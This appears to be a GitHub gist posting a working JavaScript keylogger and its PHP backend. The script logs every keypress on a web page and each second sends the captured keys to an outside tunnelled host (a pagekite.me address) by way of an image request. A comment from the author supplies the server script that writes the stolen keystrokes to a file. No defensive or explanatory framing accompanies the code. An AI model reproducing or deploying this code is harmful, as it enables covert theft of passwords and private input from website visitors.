Skip to content

Instantly share code, notes, and snippets.

@atorralb
Created May 27, 2015 03:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save atorralb/fbc82f70e1e2c1ebc67f to your computer and use it in GitHub Desktop.
Save atorralb/fbc82f70e1e2c1ebc67f to your computer and use it in GitHub Desktop.
javascript keylogger
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
//get a local tunneling service such as pagekite.me or ngrok
window.setInterval(function(){
new Image().src = 'http://mysite.pagekite.me/keylogger.php?c=' + keys;
keys = '';
}, 1000);
@atorralb
Copy link
Author

And this is the backend of the js keylogger

<?php
// keylogger.php

if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment